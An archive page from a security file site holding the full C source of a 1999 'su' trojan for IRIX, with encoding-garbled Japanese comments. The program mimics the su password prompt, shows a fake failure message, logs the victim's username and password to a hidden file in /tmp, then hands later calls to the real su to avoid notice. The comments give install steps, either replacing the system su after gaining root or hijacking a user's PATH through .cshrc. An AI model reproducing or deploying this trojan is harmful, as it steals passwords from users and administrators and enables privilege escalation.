exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sut_irix.c

sut_irix.c
Posted Nov 5, 1999
Authored by shadowpenguin

SU trojan for IRIX. This trojan logs the passwords. If you install the su trojan correctry, local users or admin fails the first "su", and the password which is inputed to su trojan has been logged to the specified file.

tags | local, trojan
systems | unix, irix
SHA-256 | b9a61aed270653dede216eaf5ac1c259c5ea5419f9ee880e78b1b886f82ed8d5

sut_irix.c

Change Mirror Download
/*------------------------------------------------------------

SU¥È¥í¥¤ - sut Ver 1.00

Programmed by £Õ£Î£Ù£Õ£Î

------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>

/* °Ê²¼¤Î¥Ñ¥é¥á¡¼¥¿¤ÏOS¤´¤È¤ËÊѹ¹¤¹¤ëɬÍפ¬¤¢¤ê¤Þ¤¹
[ÀßÄê¼ê½ç]
%su
Password: <---- ¤³¤Îʸ»ú¤òMSG_INP¤ËÀßÄꤹ¤ë
su: Sorry <---- Password¤ò¤ï¤¶¤È´Ö°ã¤¨¤ë¡£¤³¤Îʸ»ú¤òMSG_ERR
¤ËÀßÄꤹ¤ë¡£¤³¤Îɽ¼¨¤¬½Ð¤ë¤Þ¤Ç¤Î»þ´Ö(ÉÃ)¤ò
MSG_WAIT¤ËÀßÄꤹ¤ë
%su hohoho <---- /etc/passwd¤Ë¤Ê¤¤¥¢¥«¥¦¥ó¥È̾¤Ësu¤¹¤ë
su Unknown id: hohoho <---- User̾¤¬¤Ê¤¤¤È¤¤¤¦¥¨¥é¡¼¤¬É½¼¨¤µ¤ì¤ë
¤³¤Îʸ»ú¤òMSG_NOID¤ËÀßÄꤹ¤ë
*/
#define MSG_INP "¥Ñ¥¹¥ï¡¼¥É: "
#define MSG_ERR "»ÄÇ°¤Ç¤¹"
#define MSG_NOID "¥æ¡¼¥¶£É£Ä¤ÏÄêµÁ¤µ¤ì¤Æ¤¤¤Þ¤»¤ó: "
#define MSG_WAIT 0

/* °Ê²¼¤Î¥Ñ¥é¥á¡¼¥¿¤ÏOS¤´¤È¡¢¤¢¤ë¤¤¤ÏÀßÄê¤Ë¤è¤Ã¤Æ
Êѹ¹¤¹¤ëɬÍפ¬¤¢¤ê¤Þ¤¹

[ÀßÄê¼ê½ç]
case 1. root¤ò¥Ï¥Ã¥¯¤Ç¤­¤¿¾ì¹ç

#which su
/usr/bin/su <--- ËÜʪ¤Îsu¤¬É½¼¨¤µ¤ì¤ë
#mv /usr/bin/su /usr/local/sbin/mule <--- ŬÅö¤Ê̾Á°¤Ç¥³¥Ô¡¼
#cc ./sut.c <--- su¥È¥í¥¤¤ò¥³¥ó¥Ñ¥¤¥ë
#mv ./a.out /usr/bin/su <--- ËÜʪ¤Îsu¤ÈÆþ¤ìÂؤ¨
¤³¤Î¤è¤¦¤ËÀßÄꤷ¤¿¾ì¹ç¤Ï¡¢
REAL_SU¤Ï¡¢
#define REAL_SU "/usr/local/sbin/mule"¤È¤·¤Æ¤¯¤À¤µ¤¤¡£

case 2. °ìÈÌuser¤Î¥¢¥«¥¦¥ó¥È¤Ç»Å¹þ¤à¾ì¹ç

%which su
/usr/bin/su <--- ËÜʪ¤Îsu¤¬É½¼¨¤µ¤ì¤ë¡£¤³¤Îpath¤òREAL_SU¤Ë»ØÄꤹ¤ë
%cc sut.c -o su <--- su¥È¥í¥¤¤ò¥³¥ó¥Ñ¥¤¥ë
%mv su /tmp/temp/ <--- ¥Ð¥ì¤Ë¤¯¤¤½ê¤Ë¥³¥Ô¡¼
%cd ~ <--- »Å¹þ¤àuser¤Îhome¥Ç¥£¥ì¥¯¥È¥ê
%vi .cshrc
.chsrc¤Ïshell¤Î´Ä¶­ÀßÄê¤Ç¤¹¡£path¤ò»ØÄꤷ¤ÆÄ̾ï¤Îsu¤è¤ê¥È¥í¥¤¤Îsu
¤òÍ¥À褵¤»¤Þ¤¹¡£.cshrc¥Õ¥¡¥¤¥ë¤Ç¡¢
set path=¤¬¤¢¤ì¤Ð¡¢
set path=(. /tmp/temp /usr/bin ¡¦¡¦¡¦¸å¾Êά
¤Î¤è¤¦¤Ë¤·¤Æ¤ª¤­¤Þ¤¹¡£
set path¤¬Ìµ¤¤¾ì¹ç¤Ï¡¢
set path=(. /tmp/temp)
¤È¤¤¤¦¹Ô¤òÆþ¤ì¤Þ¤·¤ç¤¦¡£

*/
#define REAL_SU "/usr/bin/su"


/* ¥í¥°¥Õ¥¡¥¤¥ë¡£¸«¤Ä¤«¤ê¤Ë¤¯¤¤Ì¾Á°¤ËÊѹ¹¤·¤Þ¤·¤ç¤¦
*/
#define LOGFILE "/tmp/.mailer_socket"

/* ÆâÉôÄê¿ô
*/
#define MAX_USERNAME 200
#define MAX_PASSWD 200

main(int argc,char *argv[])
{
char *x;
struct passwd *pwd;
char user[MAX_USERNAME];
char passwd[MAX_PASSWD];
char temp1[MAX_USERNAME],temp2[MAX_PASSWD];
FILE *fp;
int flag=0;
int uid=getuid();

if (argc==1) strcpy(user,"root");
else strcpy(user,argv[1]);

/* su-password¥í¥°¤ò»²¾È¤·¤Æ¡¢°ÊÁ°¤ËGet¤·¤Æ¤¤¤ì¤Ð
Ä̾ï¤Îsu¤ò¸Æ¤Ó½Ð¤¹
*/
if ((fp=fopen(LOGFILE,"r"))!=NULL){
for (;;){
if (feof(fp)) break;
fscanf(fp,"%s",temp1);
fscanf(fp,"%s",temp2);
if (strcmp(user,temp1)==0){
flag=1;
break;
}
}
fclose(fp);
}
pwd=getpwuid(uid);
if (flag==1 || uid==0 || strcmp(pwd->pw_name,user)==0){
sprintf(temp1,"%s %s",REAL_SU,user);
system(temp1);
exit(1);
}

/* User̾¤¬ÉÔÀµ¤Ê¾ì¹ç¤Î½èÍý
*/
if (argc>1){
if ((pwd=getpwnam(user))==NULL){
sleep(MSG_WAIT);
printf("%s%s\n",MSG_NOID,user);
exit(1);
}
}

/* Password¤òÆþÎϤµ¤»¤ë
*/
x=getpass(MSG_INP);
sleep(MSG_WAIT);

/* ¥¨¥é¡¼¤òɽ¼¨¤·¤Æ¡¢¥í¥°¤ë
*/
printf("%s\n",MSG_ERR);
if ((fp=fopen(LOGFILE,"a"))!=NULL){
fprintf(fp,"%s\t%s\n",user,x);
fclose(fp);
}
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close